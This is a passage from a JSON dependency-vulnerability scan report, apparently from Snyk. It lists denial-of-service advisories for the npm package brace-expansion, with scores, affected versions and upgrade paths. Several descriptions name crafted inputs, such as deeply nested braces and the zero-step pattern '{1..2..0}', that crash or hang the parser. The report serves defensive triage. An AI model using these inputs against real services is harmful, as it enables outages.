"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-rgw5-rvv9-x895"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-08-03T18:50:29.684875Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-08-03T16:35:32Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-08-03T18:50:29.862827Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T21:42:52.694864Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244948",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Gareth Jones",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.20",
">=2.0.0 <2.1.6",
">=3.0.0 <3.0.8",
">=4.0.0 <5.0.11"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.20",
"2.1.6",
"3.0.8",
"5.0.11"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:37.555149Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-10-09T05:49:36.917866Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via uncontrolled recursion in `expand_` when processing deeply nested brace patterns. An attacker can supply approximately 6 KB of deeply nested braces (e.g., `{` repeated ~3,200 times followed by `a,b` and the matching `}` characters) to exhaust the native call stack and crash the process with a `RangeError: Maximum call stack size exceeded`. The `max` and `maxLength` bounds do not prevent this because the stack is exhausted during recursive descent into sub-expansions, before the result set grows.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.20, 2.1.6, 3.0.8, 5.0.11 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-qhr7-859c-m2p7)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/1efee7c397c191da6287a78ec19512476a966a7b)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/935d78f32f335b2ff76578e5c5e877d31ae9888c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/de84f144e9816f30e25fc8179e2e1249ab6df0db)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102278"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-qhr7-859c-m2p7"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:28:47.469361Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:22Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:28:47.672458Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-10-09T05:49:37.555149Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-20244952",
"title": "Uncontrolled Recursion",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"baeseungwon1010",
"Jeremy Katz"
],
"semver": {
"vulnerable": [
"<1.1.19",
">=2.0.0 <2.1.5",
">=3.0.0 <3.0.7",
">=4.0.0 <5.0.10"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.19",
"2.1.5",
"3.0.7",
"5.0.10"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p",
"title": "Maintainer's Advisory"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T19:40:12.310972Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-29T05:44:15.508690Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Uncontrolled Recursion via two distinct stack-exhaustion paths in `parseCommaParts`. In the first, the function recurses on the remainder of the string once per brace group, so a chain of approximately 7,000 groups (~29 KB of input) exhausts the native call stack and throws a `RangeError`. In the second, `push.apply` passes one argument per element, meaning a single large comma-separated array inside a brace group overflows the stack at a recursion depth of exactly one, requiring roughly 125,000 comma-separated elements. Neither the `max` nor `maxLength` options can bound either path because the crash occurs during parsing, before any expansion takes place.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.19, 2.1.5, 3.0.7, 5.0.10 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/0bcbfc0a5928c3073d48f42999d1ce4fc1c42fbc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/316359e6019c39b3254c8ba8e25dc586a480652c)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/5171e681c0922b7ae8bfaf9a331e309107be6edc)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/6735c94873ca570bcdd6a0690033bdd3126379d3)\n- [Maintainer's Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-6j4f-fj2g-mc7p)\n",
"epssDetails": {
"percentile": "0.26155",
"probability": "0.00350",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-102276"
],
"CWE": [
"CWE-674"
],
"GHSA": [
"GHSA-6j4f-fj2g-mc7p"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-09-29T07:36:51.075985Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-09-28T23:27:21Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-09-29T07:36:51.235635Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-29T19:40:12.310972Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"pacote@19.0.2",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"pacote@21.5.1",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-15789759",
"title": "Infinite loop",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Subhash Dasyam"
],
"semver": {
"vulnerable": [
"<1.1.13",
">=2.0.0 <2.0.3",
">=3.0.0 <3.0.2",
">=4.0.0 <5.0.5"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.13",
"2.0.3",
"3.0.2",
"5.0.5"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L107-L113",
"title": "Vulnerable Code"
},
{
"url": "https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts%23L184",
"title": "Vulnerable Code"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "medium",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 6.5,
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"assigner": "NVD",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T02:01:42.918000Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "medium",
"baseScore": 6.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-03T12:57:19.951777Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "NVD",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-04-22T17:49:48.167901Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Infinite loop through the `expand` function when processing a brace pattern with a zero step value. An attacker can cause the process to hang and exhaust system memory by supplying specially crafted input, such as `{1..2..0}`. This can lead to significant resource consumption and denial of service. \r\n\r\n## Workaround \r\n\r\nThis vulnerability can be mitigated by sanitizing strings passed to `expand` to ensure a step value of `0` is not used.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.13, 2.0.3, 3.0.2, 5.0.5 or higher.\n## References\n- [GitHub Advisory](https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-f886-m6hf-6m8v)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/311ac0d54994158c0a384e286a7d6cbb17ee8ed5)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/7fd684f89fdde3549563d0a6522226a9189472a2)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/9a02af5c5c80731fae470cc3218c16876bb25051)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/b9cacd9e55e7a1fa588fe4b7bb1159d52f1d902a)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L107-L113)\n- [Vulnerable Code](https://github.com/juliangruber/brace-expansion/blob/daa71bcb4a30a2df9bcb7f7b8daaf2ab30e5794a/src/index.ts#L184)\n",
"epssDetails": {
"percentile": "0.47050",
"probability": "0.00613",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-33750"
],
"CWE": [
"CWE-835"
],
"GHSA": [
"GHSA-f886-m6hf-6m8v"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-03-27T07:45:56.244707Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-03-26T18:29:42Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-03-27T07:45:56.429154Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-25T02:01:42.918000Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-17706650",
"title": "Inefficient Algorithmic Complexity",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"credit": [
"Unknown"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.7"
]
},
"exploit": "Not Defined",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.7"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-24T14:04:38.442182Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-07-01T06:56:21.683579Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `expand` function. An attacker can cause excessive CPU consumption and block the event loop by supplying a specially crafted string containing multiple consecutive non-expanding '{}' brace groups. The `max` option does not prevent this issue, as it only limits the output size and not the computational workload.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.7 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/c7e33ec13ac1a684c116720843ce24e208611754)\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/d74e63030c012e3b7ae81657b8d665619cd51b95)\n",
"epssDetails": {
"percentile": "0.29069",
"probability": "0.00364",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-13149"
],
"CWE": [
"CWE-407"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-06-30T11:38:19.757696Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-06-30T11:25:01Z",
"exploitDetails": {
"sources": [],
"maturityLevels": [
{
"type": "secondary",
"level": "Not Defined",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Not Defined",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-06-30T11:38:19.961909Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-08-24T14:04:38.442182Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18313044",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"bnbdr"
],
"semver": {
"vulnerable": [
"<1.1.16",
">=2.0.0 <2.1.2",
">=3.0.0 <5.0.8"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.16",
"2.1.2",
"5.0.8"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-16T14:02:43.227595Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-05T05:35:10.598547Z"
}
],
"description": "## Overview\n[brace-expansion](https://github.com/juliangruber/brace-expansion) is a Brace expansion as known from sh/bash\n\nAffected versions of this package are vulnerable to Allocation of Resources Without Limits or Throttling in the `expand()` function and its recursive `expand_` helper, which cap the number of results via the `max` option but do not bound the length of each result string. An attacker can crash the Node process with a fatal, uncatchable out-of-memory error by supplying a pattern that chains many brace groups, such as `{a,b}` repeated, keeping the result count under `max` while each result grows with the group count so total output scales unbounded. Exploitation requires the application to pass untrusted input to `expand()`, directly or transitively through `minimatch` or `glob` brace patterns.\r\n\r\n## Workaround\r\n\r\nThis vulnerability can be avoided by passing small explicit `max` and `maxLength` options to `expand()`, bounding both the number of results and the length of each so total output stays limited.\n## Remediation\nUpgrade `brace-expansion` to version 1.1.16, 2.1.2, 5.0.8 or higher.\n## References\n- [GitHub Commit](https://github.com/juliangruber/brace-expansion/commit/a1bd33999ea75262c4749fff3bbb0d1372bd07b5)\n",
"epssDetails": {
"percentile": "0.49122",
"probability": "0.00643",
"modelVersion": "v2026.06.15"
},
"identifiers": {
"CVE": [
"CVE-2026-14257"
],
"CWE": [
"CWE-770"
],
"GHSA": [
"GHSA-mh99-v99m-4gvg"
]
},
"packageName": "brace-expansion",
"proprietary": false,
"creationTime": "2026-07-26T09:53:40.727617Z",
"functions_new": [],
"alternativeIds": [],
"disclosureTime": "2026-07-23T15:49:26Z",
"exploitDetails": {
"sources": [
"Snyk"
],
"maturityLevels": [
{
"type": "secondary",
"level": "Proof of Concept",
"format": "CVSSv3"
},
{
"type": "primary",
"level": "Proof of Concept",
"format": "CVSSv4"
}
]
},
"packageManager": "npm",
"publicationTime": "2026-07-26T09:53:40.907374Z",
"severityBasedOn": "CVSS",
"modificationTime": "2026-09-16T14:02:43.227595Z",
"socialTrendAlert": false,
"severityWithCritical": "high",
"from": [
"lib@*",
"npm@10.9.8",
"@npmcli/arborist@8.0.5",
"npm-registry-fetch@18.0.2",
"make-fetch-happen@14.0.3",
"cacache@19.0.1",
"glob@10.5.0",
"minimatch@9.0.9",
"brace-expansion@2.0.2"
],
"upgradePath": [
false,
"npm@11.0.0",
"@npmcli/arborist@9.9.3",
"npm-registry-fetch@19.1.1",
"make-fetch-happen@15.0.6",
"cacache@20.0.4",
"glob@13.0.6",
"minimatch@10.2.6",
"brace-expansion@5.0.12"
],
"isUpgradable": true,
"isPatchable": false,
"name": "brace-expansion",
"version": "2.0.2"
},
{
"id": "SNYK-JS-BRACEEXPANSION-18512280",
"title": "Allocation of Resources Without Limits or Throttling",
"CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"credit": [
"Alessio Della Libera"
],
"semver": {
"vulnerable": [
"<1.1.18",
">=2.0.0 <2.1.4",
">=3.0.0 <3.0.6",
">=4.0.0 <5.0.9"
]
},
"exploit": "Proof of Concept",
"fixedIn": [
"1.1.18",
"2.1.4",
"3.0.6",
"5.0.9"
],
"patches": [],
"insights": {
"triageAdvice": null
},
"language": "js",
"severity": "high",
"cvssScore": 8.7,
"functions": [],
"malicious": false,
"isDisputed": false,
"moduleName": "brace-expansion",
"references": [
{
"url": "https://github.com/juliangruber/brace-expansion/security/advisories/GHSA-rgw5-rvv9-x895",
"title": "GitHub Advisory"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/139d015104e71433ad52a41d19467c48ecbb2c7d",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/1e30c930238d7162802d88a94189182def178dac",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/688a99eeaab02627c2b89ba8ba4821fecfa659cf",
"title": "GitHub Commit"
},
{
"url": "https://github.com/juliangruber/brace-expansion/commit/cb4b9e47cc2ec777c14b2b4492fb431a56f6a031",
"title": "GitHub Commit"
}
],
"cvssDetails": [
{
"assigner": "Red Hat",
"severity": "high",
"cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"cvssV3BaseScore": 7.5,
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
"cvssSources": [
{
"type": "primary",
"vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 8.7,
"cvssVersion": "4.0",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P",
"assigner": "Snyk",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-09-25T21:42:52.694864Z"
},
{
"type": "secondary",
"vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
"assigner": "Red Hat",
"severity": "high",
"baseScore": 7.5,
"cvssVersion": "3.1",
"modificationTime": "2026-08-04T05:26:55.391275Z"
}
],
